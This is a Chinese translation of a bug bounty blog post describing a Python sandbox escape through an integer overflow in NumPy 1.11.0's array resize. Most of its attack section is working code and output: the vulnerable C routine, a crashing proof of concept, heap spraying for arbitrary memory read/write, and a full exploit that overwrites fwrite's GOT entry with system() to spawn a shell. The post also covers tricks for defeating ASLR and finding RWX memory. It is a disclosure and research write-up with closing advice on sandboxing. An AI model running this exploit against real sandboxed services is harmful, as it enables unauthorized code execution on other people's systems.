利用内存破坏实现python沙盒逃逸

简介:

几周之前心痒难耐的我参与了一段时间的漏洞赏金计划。业余这个漏洞赏金游戏最艰巨的任务就是挑选一个能够获得最高回报的程序。不久我就找到一个存在于Python沙盒中执行的用户提交代码的Web应用程序的bug,这看起来很有趣,所以我决定继续研究它。


进过一段时间的敲打之后,我发现了在Python层实现沙盒逃逸的方法。报告归档了,漏洞几天内及时被修复,得到了一笔不错的赏金。完美!这是一个我的漏洞赏金征程的完美开端。但这篇博文不是关于这篇报告的。总之,从技术的角度来说我发现这个漏洞的过程并不有趣。事实证明回归总可能发生问题。


起初并不确信Python沙盒的安全性会做的如此简单。没有太多细节,沙盒使用的是操作系统级别隔离与锁定Python解释器的组合。Python环境使用的是自定义的白名单/黑名单的方式来阻止对内置模块,函数的访问。基于操作系统的隔离提供了一些额外的保护,但是它相较于今天的标准来说已经过时了。从Python解释器的逃离并不是一个完全的胜利,但是它能够使攻击者危险地接近于黑掉整个系统。


因此我回到了应用程序进行了测试。没有运气,这确实是一个困难的挑战。但突然我有了一个想法——Python模块通常只是大量C代码的封装。这里肯定会有未被发现的内存破坏漏洞。领用内存破坏我就能够突破Python环境的限制。


从哪里开始呢?我知道沙盒内部导入模块的白名单。或许我该先运行一个分布式的AFL fuzzer?还是一个符号执行引擎?抑或使用先进的静态分析工具来扫描他们。当然,我可以做其中任何事情,可能我只需要查询一些bug跟踪器。

结果表明在狩猎之初我并没有这个先见之明,但问题不大。直觉引导我通过手动代码审计和测试发现一个沙盒白名单模块中的一个可利用的内存破坏漏洞。这个漏洞存在于Numpy中,一个基本的科学计算库——是许多流行包的核心包括scipy和pandas。要想了解Numpy作为漏洞根源的一大潜力,我们先来查看一下代码的行数。


在这篇文章的其余部分,首先我将描述导致这个漏洞的触发条件。接下来,我将讨论一些漏洞利用开发人员应该了解的CPython运行时的奇事,然后我将逐步进入实际的利用。最后,我总结了一些Python应用程序中量化内存损坏问题的想法。

漏洞


我将要讨论漏洞是Numpy v1.11.0(或许是更旧版本)中的整数溢出错误。自v1.12.0以来,该问题已经解决,但没有发布安全公告。


该漏洞驻留在用于调整Numpy的多维数组类对象(ndarray和friends)的API中。定义数组形状的元组调用了resize,其中元组的每个元素都是维度的大小。

1
 
1
2
3
4
5
6
7
$ python
>>>  import   numpy as np
>>> arr  =   np.ndarray(( 2 ,  2 ), ‘int32’)
>>> arr.resize(( 2 ,  3 ))
>>> arr
array([[ - 895628408 ,  32603 ,  - 895628408 ],
[  32603 ,  0 ,  0 ]], dtype = int32)

是的这个元组会泄漏未初始化的内存,但在这篇博文中我们不会讨论这个问题


如上所言,resize实质上会realloc 一个buffer,其大小是元组形状和元素大小的乘积。因此在前面的代码片段中,arr.resize((2,3))等价于 realloc(buffer,2*3*sizeof(int32)). 下一个代码片段是C中resize的重写实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
NPY_NO_EXPORT PyObject  *
PyArray_Resize(PyArrayObject  * self , PyArray_Dims  * newshape,  int   refcheck,
         NPY_ORDER order)
{
     / /   npy_intp  is   ` long   long `
     npy_intp *   new_dimensions  =   newshape - >ptr;
     npy_intp newsize  =   1 ;
     int   new_nd  =   newshape - > len ;
     int   k;
     / /   NPY_MAX_INTP  is   MAX_LONGLONG ( 0x7fffffffffffffff )
     npy_intp largest  =   NPY_MAX_INTP  /   PyArray_DESCR( self ) - >elsize;
     for (k  =   0 ; k < new_nd; k + + ) {
         newsize  * =   new_dimensions[k];
         if   (newsize < =   0   || newsize > largest) {
             return   PyErr_NoMemory();
         }
     }
     if   (newsize  = =   0 ) {
         sd  =   PyArray_DESCR( self ) - >elsize;
     }
     else   {
         sd  =   newsize * PyArray_DESCR( self ) - >elsize;
     }
     / *   Reallocate space  if   needed  * /
     new_data  =   realloc(PyArray_DATA( self ), sd);
     if   (new_data  = =   NULL) {
         PyErr_SetString(PyExc_MemoryError,
                 “cannot allocate memory  for   array”);
         return   NULL;
     }
     ((PyArrayObject_fields  * ) self ) - >data  =   new_data;

发现漏洞了吗? 可以在for循环(第13行)中看到,每个维度相乘以产生新的大小。稍后(第25行),将新大小和元素大小的乘积作为数组大小传递给realloc。在realloc之前有一些关于大小的验证,但是它不检查整数溢出,这意味着非常大的维度可能导致分配大小不足的数组。 最终,这给攻击者一个可利用的exploit类型:通过从具有溢出数组的大小索引来获得读写任意内存的能力。


让我们来快速开发一个poc来验证bug的存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat poc.py
import   numpy as np
arr  =   np.array( 'A' * 0x100 )
arr.resize( 0x1000 ,  0x100000000000001 )
print   "bytes allocated for entire array:    "   +   hex (arr.nbytes)
print   "max # of elemenets for inner array:  "   +   hex (arr[ 0 ].size)
print   "size of each element in inner array: "   +   hex (arr[ 0 ].itemsize)
arr[ 0 ][ 10000000000 ]
$ python poc.py
bytes allocated  for   entire array:     0x100000
max   # of elemenets for inner array:  0x100000000000001
size of each element  in   inner array:  0x100
[ 1 ]     2517   segmentation fault (core dumped)  python poc.py
$ gdb `which python` core
...
Program terminated with signal SIGSEGV, Segmentation fault.
(gdb) bt
#0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870,
  base = <numpy.ndarray at remote  0x7f20a7870a80 >) at numpy / core / src / multiarray / scalarapi.c: 651
#1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>)
  at numpy / core / src / multiarray / mapping.c: 1619
#2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539…
(gdb) x / i $pc
= >  0x7f20a5b044f0   <PyArray_Scalar + 480 >: cmpb $ 0x0 ,( % rcx)
(gdb) x / g $rcx
0x8174ae95f10f : Cannot access memory at address  0x8174ae95f10f

Cpython 运行时的一些奇怪之处

在开发exp之前,我想讨论一些CPython运行时的特征来简化exp的开发,同时讨论一些阻扰exp开发的方法。 如果您想直接进入漏洞利用,请直接跳过本节。

内存泄露

通常,首要障碍之一就是要挫败地址空间布局随机化(ASLR)。 幸运的是,对于攻击者来说,Python使这变得很容易。 内置id函数返回对象的内存地址,或者更准确地说,封装对象的PyObject结构的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ gdb  - q — arg  / usr / bin / python2. 7
  (gdb) run  - i
 
  >>> a  =   ‘A’ * 0x100
  >>> b  =   ‘B’ * 0x100000
  >>>  import   numpy as np
  >>> c  =   np.ndarray(( 10 ,  10 ))
  >>>  hex ( id (a))
  0x7ffff7f65848
  >>>  hex ( id (b))
  0xa52cd0
  >>>  hex ( id (c))
  0x7ffff7e777b0



在现实世界的应用程序中,开发人员应确保不向用户暴露id(object)。 在沙盒的环境中,你不可能对此行为做太多的擦奥做,除了可能将id添加进黑名单或重新实现id来返回哈希。

理解内存分配行为

了解分配器对于编写exp至关重要。Python对不同的对象类型和大小实行不同的分配策略。我们来看看我们的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy数组0x7ffff7e777b0的位置。

1
2
3
4
5
6
7
8
9
$ cat  / proc / `pgrep python` / maps
00400000 006ea000   r - xp  00000000   08 : 01   2712   / usr / bin / python2. 7
008e9000 008eb000   r — p  002e9000   08 : 01   2712   / usr / bin / python2. 7
008eb000 00962000   rw - p  002eb000   08 : 01   2712   / usr / bin / python2. 7
00962000 00fa8000   rw - p  00000000   00 : 00   0   [heap]   # big string
...
7ffff7e1d000 7ffff7edd000   rw - p  00000000   00 : 00   0   # numpy array
...
7ffff7f0e000 7ffff7fd3000   rw - p  00000000   00 : 00   0   # small string


Python 对象结构

溢出和破坏Python对象的元数据是一个很强大的能力,因此理解Python对象如何是表示的很有用。Python对象都派生自PyObject,这是一个包含引用计数和对象实际类型描述符的结构。 值得注意的是,类型描述符包含许多字段,包括可能对读取或覆盖有用的函数指针。

先检查一下我们在前面创建的小字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
(gdb)  print   * (PyObject  * ) 0x7ffff7f65848
$ 2   =   {ob_refcnt  =   1 , ob_type  =   0x9070a0   <PyString_Type>}
(gdb)  print   * (PyStringObject  * ) 0x7ffff7f65848
$ 3   =   {ob_refcnt  =   1 , ob_type  =   0x9070a0   <PyString_Type>, ob_size  =   256 , ob_shash  =   - 1 , ob_sstate  =   0 , ob_sval  = “A”}
(gdb) x / s ((PyStringObject  * ) 0x7ffff7f65848 ) - >ob_sval
0x7ffff7f6586c : ‘A’ <repeats  200   times>...
(gdb) ptype PyString_Type
type   =   struct _typeobject {
    Py_ssize_t ob_refcnt;
    struct _typeobject  * ob_type;
    Py_ssize_t ob_size;
    const char  * tp_name;
    Py_ssize_t tp_basicsize;
    Py_ssize_t tp_itemsize;
    destructor tp_dealloc;
    printfunc tp_print;
    getattrfunc tp_getattr;
    setattrfunc tp_setattr;
    cmpfunc tp_compare;
    reprfunc tp_repr;
    PyNumberMethods  * tp_as_number;
    PySequenceMethods  * tp_as_sequence;
    PyMappingMethods  * tp_as_mapping;
    hashfunc tp_hash;
    ternaryfunc tp_call;
    reprfunc tp_str;
    getattrofunc tp_getattro;
    setattrofunc tp_setattro;
    PyBufferProcs  * tp_as_buffer;
    long   tp_flags;
    const char  * tp_doc;
    traverseproc tp_traverse;
    inquiry tp_clear;
    richcmpfunc tp_richcompare;
    Py_ssize_t tp_weaklistoffset;
    getiterfunc tp_iter;
    iternextfunc tp_iternext;
    struct PyMethodDef  * tp_methods;
    struct PyMemberDef  * tp_members;
    struct PyGetSetDef  * tp_getset;
    struct _typeobject  * tp_base;
    PyObject  * tp_dict;
    descrgetfunc tp_descr_get;
    descrsetfunc tp_descr_set;
    Py_ssize_t tp_dictoffset;
    initproc tp_init;
    allocfunc tp_alloc;
    newfunc tp_new;
    freefunc tp_free;
    inquiry tp_is_gc;
    PyObject  * tp_bases;
    PyObject  * tp_mro;
    PyObject  * tp_cache;
    PyObject  * tp_subclasses;
    PyObject  * tp_weaklist;
    destructor tp_del;
    unsigned  int   tp_version_tag;
}

有许多有用的字段可用于读取或写入类型指针,函数指针,数据指针,大小等。

Shellcode like it's 1999


ctypes库作为Python和C代码之间的桥梁。它提供与C兼容的数据类型,并允许在DLL或共享库中调用函数。许多具有C绑定或需要调用共享库的模块需要导入ctypes。


我注意到,导入ctypes会导致以读/写/执行权限设置的4K大小的内存区域。 如果还不明显,这意味着攻击者甚至不需要编写一个ROP链。假定你已经找到了RWX区域。利用一个bug就像把指针指向你的shellcode一样简单。

自己测试一下!

1
2
3
4
5
6
7
8
9
$ cat foo.py
import   ctypes
while   True :
pass
$ python foo.py
^Z
[ 2 ]  +   30567   suspended python foo.py
$ grep rwx  / proc / 30567 / maps
7fcb806d5000 7fcb806d6000   rwxp  00000000   00 : 00   0

进一步调查发现libffi的封闭API负责mmap RWX区域。 但是,该区域不能在某些平台上分配RWX,例如启用了selinux或PAX mprotect的系统,但有一些代码可以解决这个限制。

我没有花太多时间尝试可靠地RWX mapping,但是从理论上讲,如果你有一个任意读取的exploit原函数,应该是可能的。 当ASLR应用于库时,动态链接器以可预测的顺序映射库的内存。库的内存包括库私有的全局变量和代码本身。 Libffi将对RWX内存的引用存储为全局。例如,如果在堆上找到指向libffi函数的指针,则可以将RWX区域指针的地址预先计算为与libffi函数指针的地址的偏移量。每个库版本都需要调整偏移量。

The Exploit

我在Ubuntu 14.04.5和16.04.1上测试了Python2.7二进制文件的安全相关编译器标志。 发现几个弱点,这对攻击者来说是非常有用的:

部分RELRO:可执行文件的GOT seciotn,包含动态链接到二进制文件的库函数的指针,是可写的。 例如,exploits可以用system()替换printf()的地址。

没有PIE:二进制不是位置无关的可执行文件,这意味着当内核将ASLR应用于大多数内存映射时,二进制本身的内容被映射到静态地址。 由于GOT seciotn是二进制文件的一部分,因此PIE使攻击者更容易找到并写入GOT。

虽然CPython是一个充满了漏洞开发工具的环境,但是有一些力量破坏了我的许多漏洞利用尝试,并且难以调试。

垃圾收集器,类型系统以及可能的其他未知的力将破坏您的漏洞利用,如果您不小心克隆对象元数据。

id()可能不可靠。由于一些原因我无法确定,Python有时会在使用原始对象时传递对象的副本。

分配对象的区域有些不可预测。由于一些原因我无法确定,特定的编码模式导致缓冲区被分配到brk堆中,而其他模式会在一个python指定的mmap'd堆中分配。

在发现numpy整数溢出后不久,我向提交了一个劫持指令指针的概念证明的报告,虽然没有注入任何代码。 当我最初提交时,我没有意识到PoC实际上是不可靠的,并且我无法对其服务器进行正确的测试,因为验证劫持指令指针需要访问core dump或debugger。 供应商承认这个问题的合法性,但是比起我的第一份报告,他们的给的回报比较少。

还算不赖

我不是一个漏洞利用开发者,但挑战自己是我做得更好。 经过多次试错,我最终写了一个似乎是可靠exp。 不幸的是,我无法在供应商的沙盒中测试它,因为在完成之前更新了numpy,但是在Python解释器中本地测试时它的工作正常。

在高层次来说上,漏洞利用溢出numpy数组的大小来获得任意的读/写能力。 原函数用于将系统的地址写入fwrite的GOT / PLT条目。 最后,Python内置的print调用fwrite覆盖,所以现在你可以调用print ‘/bin/sh’来获取一个shell,或者用任何命令替换/ bin / sh。

我建议从自下而上开始阅读,包括评论。 如果您使用的是不同版本的Python,请在运行该文件之前调整fwrite和system的GOT位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import   numpy as np
 
# addr_to_str is a quick and dirty replacement for struct.pack(), needed
# for sandbox environments that block the struct module.
def   addr_to_str(addr):
    addr_str  =   "%016x"   %   (addr)
    ret  =   str ()
    for   i  in   range ( 16 ,  0 ,  - 2 ):
        ret  =   ret  +   addr_str[i - 2 :i].decode( 'hex' )
    return   ret
 
# read_address and write_address use overflown numpy arrays to search for
# bytearray objects we've sprayed on the heap, represented as a PyByteArray
# structure:
#
# struct PyByteArray {
#     Py_ssize_t ob_refcnt;
#     struct _typeobject *ob_type;
#     Py_ssize_t ob_size;
#     int ob_exports;
#     Py_ssize_t ob_alloc;
#     char *ob_bytes;
# };
#
# Once located, the pointer to actual data `ob_bytes` is overwritten with the
# address that we want to read or write. We then cycle through the list of byte
# arrays until we find the  one that has been corrupted. This bytearray is used
# to read or write the desired location. Finally, we clean up by setting
# `ob_bytes` back to its original value.
def   find_address(addr, data = None ):
    i  =   0
    j  =   - 1
    k  =   0
 
    if   data:
        size  =   0x102
    else :
        size  =   0x103
    for   k, arr  in   enumerate (arrays):
        i  =   0
        for   i  in   range ( 0x2000 ):  # 0x2000 is a value that happens to work
            # Here we search for the signature of a PyByteArray structure
            j  =   arr[ 0 ][i].find(addr_to_str( 0x1 ))                   # ob_refcnt
            if   (j <  0   or
                arr[ 0 ][i][j + 0x10 :j + 0x18 ] ! =   addr_to_str(size)  or    # ob_size
                arr[ 0 ][i][j + 0x20 :j + 0x28 ] ! =   addr_to_str(size + 1 )):  # ob_alloc
                continue
            idx_bytes  =   j + 0x28                                      # ob_bytes
 
            # Save an unclobbered copy of the bytearray metadata
            saved_metadata  =   arrays[k][ 0 ][i]
 
            # Overwrite the ob_bytes pointer with the provded address
            addr_string  =   addr_to_str(addr)
            new_metadata  =   (saved_metadata[ 0 :idx_bytes]  +
                     addr_string  +
                     saved_metadata[idx_bytes + 8 :])
            arrays[k][ 0 ][i]  =   new_metadata
 
            ret  =   None
            for   bytearray_  in   bytearrays:
                try :
                    # We differentiate the signature by size for each
                    # find_address invocation because we don't want to
                    # accidentally clobber the wrong  bytearray structure.
                    # We know we've hit the structure we're looking for if
                    # the size matches and it contents do not equal 'XXXXXXXX'
                    if   len (bytearray_)  = =   size  and   bytearray_[ 0 : 8 ] ! =   'XXXXXXXX' :
                        if   data:
                            bytearray_[ 0 : 8 ]  =   data  # write memory
                        else :
                            ret  =   bytearray_[ 0 : 8 ]  # read memory
 
                        # restore the original PyByteArray->ob_bytes
                        arrays[k][ 0 ][i]  =   saved_metadata
                        return   ret
                except :
                    pass
    raise   Exception( "Failed to find address %x"   %   addr)
 
def   read_address(addr):
    return   find_address(addr)
 
def   write_address(addr, data):
    find_address(addr, data)
 
 
# The address of GOT/PLT entries for system() and fwrite() are hardcoded. These
# addresses are static for a given Python binary when compiled without -fPIE.
# You can obtain them yourself with the following command:
# `readelf -a /path/to/python/ | grep -E '(system|fwrite)'
SYSTEM  =   0x8eb278
FWRITE  =   0x8eb810
 
# Spray the heap with some bytearrays and overflown numpy arrays.
arrays  =   []
bytearrays  =   []
for   i  in   range ( 100 ):
    arrays.append(np.array( 'A' * 0x100 ))
    arrays[ - 1 ].resize( 0x1000 ,  0x100000000000001 )
    bytearrays.append(bytearray( 'X' * 0x102 ))
    bytearrays.append(bytearray( 'X' * 0x103 ))
 
# Read the address of system() and write it to fwrite()'s PLT entry.
data  =   read_address(SYSTEM)
write_address(FWRITE, data)
 
# print() will now call system() with whatever string you pass
print   "PS1='[HACKED] $ ' /bin/sh"

运行此exp会返回给你一个shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ virtualenv .venv
Running virtualenv with interpreter  / usr / bin / python2
New python executable  in   / home / gabe / Downloads / numpy - exploit / .venv / bin / python2
Also creating executable  in   / home / gabe / Downloads / numpy - exploit / .venv / bin / python
Installing setuptools, pkg_resources, pip, wheel...done.
$ source .venv / bin / activate
(.venv) $ pip install numpy = = 1.11 . 0
Collecting numpy = = 1.11 . 0
  Using cached numpy - 1.11 . 0 - cp27 - cp27mu - manylinux1_x86_64.whl
Installing collected packages: numpy
Successfully installed numpy - 1.11 . 0
(.venv) $ python  - - version
Python  2.7 . 12
(.venv) $ python numpy_exploit.py
[HACKED] $

如果您不运行Python 2.7.12,请参阅漏洞利用中的注释,了解如何使其适用于您的Python版本。

量化风险

众所周知,Python的核心和许多第三方模块都是C代码的封装。也许不被认识到,内存破坏在流行的Python模块中一直没有像CVE,安全公告,甚至在发行说明中提到安全修补程序一样被报告。

是的,Python模块中有很多内存损坏的bug。 当然不是所有的都是可以利用的,但你必须从某个地方开始。为了解释内存破坏造成的风险,我发现使用两个独立的用例来描述对话很有用:常规Python应用程序和沙盒不受信任的代码。

正则表达式

我们关心的应用程序类型是具有有意义的攻击面的那些。考虑Web应用程序和其他面向网络的服务,处理不受信任的内容,系统特权服务等的客户端应用程序。许多这些应用程序导入由成堆C代码便宜而来的Python模块,且将其内存破坏视为安全问题。这个纯粹的想法可能会使一些安全专业人员夙夜难寐,但实际上风险通常被忽视或忽视。我怀疑有几个原因:

远程识别和利用内存破坏问题的难度相当高,特别是对于闭源和远程应用程序。

应用程序暴露不可信输入路径以达到易受攻击的功能的可能性可能相当低。

意识不足,因为Python模块中的内存损坏错误通常不会被视为安全问题。

公平地说,由于某些随机Python模块中的缓冲区溢出而导致入侵的可能性可能相当低。但是,再次声明,内存破坏的缺陷在发生时可能是非常有害的。有时它甚至不会让任何人明确地利用他们来造成破坏。更糟糕的是,当库维护者在安全性方面不考虑内存破坏问题时,给库打上安全补丁是不可能的。

如果您开发了一个主要的Python应用程序,建议您至少使用流行的Python模块。尝试找出您的模块依赖的C代码数量,并分析本地代码暴露于应用程序边缘的潜力。

沙盒

一些服务允许用户在沙箱内运行不受信任的Python代码。 操作系统级的沙盒功能,如linux命名空间和seccomp,最近才以Docker,LXC等形式流行起来。不行的是,今日仍然可以发现用户使用较弱的沙盒技术 - 在chroot形式的OS层更糟糕的是,沙盒可以完全在Python中完成(请参阅pypy-sandbox和pysandbox)。

内存破坏完全打破了OS不执行沙盒这一原则。 执行Python代码子集的能力使得开发远exp比常规应用程序更加方便。即使是由于其虚拟化系统调用的双进程模型而声称安全的Pypy-sandbox也可能被缓冲区溢出所破坏。

如果您想运行任何不受信任的代码,请投入精力建立一个安全的操作系统和网络架构来沙盒执行它。


本文由看雪翻译小组 linger 编译,来源hackernoon@Gabecipe 转载请注明来自看雪社区

相关实践学习
阿里云图数据库GDB入门与应用
图数据库(Graph Database,简称GDB)是一种支持Property Graph图模型、用于处理高度连接数据查询与存储的实时、可靠的在线数据库服务。它支持Apache TinkerPop Gremlin查询语言,可以帮您快速构建基于高度连接的数据集的应用程序。GDB非常适合社交网络、欺诈检测、推荐引擎、实时图谱、网络/IT运营这类高度互连数据集的场景。 GDB由阿里云自主研发,具备如下优势: 标准图查询语言:支持属性图,高度兼容Gremlin图查询语言。 高度优化的自研引擎:高度优化的自研图计算层和存储层,云盘多副本保障数据超高可靠,支持ACID事务。 服务高可用:支持高可用实例,节点故障迅速转移,保障业务连续性。 易运维:提供备份恢复、自动升级、监控告警、故障切换等丰富的运维功能,大幅降低运维成本。 产品主页:https://www.aliyun.com/product/gdb
相关文章
|
5天前
|
Java 编译器 Go
go的内存逃逸分析
内存逃逸分析是Go编译器在编译期间根据变量的类型和作用域,确定变量分配在堆上还是栈上的过程。如果变量需要分配在堆上,则称作内存逃逸。Go语言有自动内存管理(GC),开发者无需手动释放内存,但编译器需准确分配内存以优化性能。常见的内存逃逸场景包括返回局部变量的指针、使用`interface{}`动态类型、栈空间不足和闭包等。内存逃逸会影响性能,因为操作堆比栈慢,且增加GC压力。合理使用内存逃逸分析工具(如`-gcflags=-m`)有助于编写高效代码。
|
21天前
|
监控 Java 计算机视觉
Python图像处理中的内存泄漏问题:原因、检测与解决方案
在Python图像处理中,内存泄漏是常见问题,尤其在处理大图像时。本文探讨了内存泄漏的原因(如大图像数据、循环引用、外部库使用等),并介绍了检测工具(如memory_profiler、objgraph、tracemalloc)和解决方法(如显式释放资源、避免循环引用、选择良好内存管理的库)。通过具体代码示例,帮助开发者有效应对内存泄漏挑战。
36 1
|
3月前
|
缓存 监控 算法
Python内存管理:掌握对象的生命周期与垃圾回收机制####
本文深入探讨了Python中的内存管理机制,特别是对象的生命周期和垃圾回收过程。通过理解引用计数、标记-清除及分代收集等核心概念,帮助开发者优化程序性能,避免内存泄漏。 ####
73 3
|
4月前
|
算法 Java 程序员
Python内存管理机制深度剖析####
本文将深入浅出地探讨Python中的内存管理机制,特别是其核心组件——垃圾收集器(Garbage Collector, GC)的工作原理。不同于传统的摘要概述,我们将通过一个虚拟的故事线,跟随“内存块”小M的一生,从诞生、使用到最终被回收的过程,来揭示Python是如何处理对象生命周期,确保高效利用系统资源的。 ####
54 1
|
4月前
|
安全 开发者 Python
Python的内存管理pymalloc
Python的内存管理pymalloc
|
4月前
|
安全 开发者 Python
Python的内存管理pymalloc
Python的内存管理pymalloc
|
4月前
|
监控 Java API
Python是如何实现内存管理的
Python是如何实现内存管理的
|
5月前
|
数据处理 Python
如何优化Python读取大文件的内存占用与性能
如何优化Python读取大文件的内存占用与性能
312 0
|
5月前
|
数据处理 Python
Python读取大文件的“坑“与内存占用检测
Python读取大文件的“坑“与内存占用检测
138 0
|
6月前
|
Python
python对电脑的操作,获取几核,获取操作系统,获取内存
python对电脑的操作,获取几核,获取操作系统,获取内存

热门文章

最新文章

推荐镜像

更多